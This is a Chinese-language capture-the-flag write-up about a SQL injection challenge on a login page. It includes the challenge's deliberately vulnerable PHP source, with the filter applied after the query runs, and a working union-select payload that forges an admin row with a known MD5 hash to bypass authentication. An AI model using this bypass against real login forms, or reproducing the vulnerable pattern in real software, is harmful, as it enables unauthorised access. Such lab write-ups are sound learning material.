本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助

打开靶机,看到一个登录界面,首先想到sql注入,


回显sql报错,是一个注入点,

爆字段数,


发现被过滤,
经过测试,发现or,=,()等都被过滤,()被过滤就到账报错注入、时间盲注、布尔盲注都不能使用,
只剩下联合查询了,
用大写过滤or过滤,




字段数(列数)为3,
查找回显字段位置,


到这里就燃尽了(个人实力有限),试了很多方法,在回显那个页面,找到一个提示字段,

先Base32再Base64解密,

给了我们一个后端sql查询语句,

1
select * from user where username ='$name'

查询只跟name字段有关,但是还是找不到突破口,看了很多wp都是要看看题目最开始给的源码地址,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
<?php
require "config.php"; //引入数据库配置文件(包含$con数据库连接)和flag文件(包含$flag变量)
require "flag.php";

// 去除转义
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value)
{
$value = is_array($value) ?
array_map('stripslashes_deep', $value) :
stripslashes($value);
return $value;
}

$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}

mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name']; //POST请求传入name,password两个参数
$password = $_POST['pw'];
$t_pw = md5($password); //对密码进行MD5哈希计算(不安全)
$sql = "select * from user where username = '".$name."'";//查询只跟name有关
// echo $sql;
$result = mysqli_query($con, $sql);


if(preg_match("/\(|\)|\=|or/", $name)){ //过滤特殊字符
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con)); // 显示数据库错误(不安全)
exit();
}
else {
$arr = mysqli_fetch_row($result); // 获取查询结果行(arr以数组形式分别储存传入的三个字段)

if($arr[1] == "admin") { // 检查用户名是否为admin
if(md5($password) == $arr[2]) { // 验证密码MD5哈希
echo $flag; // 验证成功返回flag
}
else {
die("wrong pass!"); // 密码错误
}
}
else {
die("wrong user!"); // 用户名错误
}
}
}

?>

一般三个字段为id,username,password
构筑payload:

1
1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#

这里我password框传入的是1,所以payload第三个字段(password字段)为md5值为c4ca4238a0b923820dcc509a6f75849b(1的md5值),
passwdord框传入的值你可以随便填,字段3填上对应的md5的值即可,因为passwdord框传入的值就是POST传入的pw参数,


获得flag,没看源码真找不到思路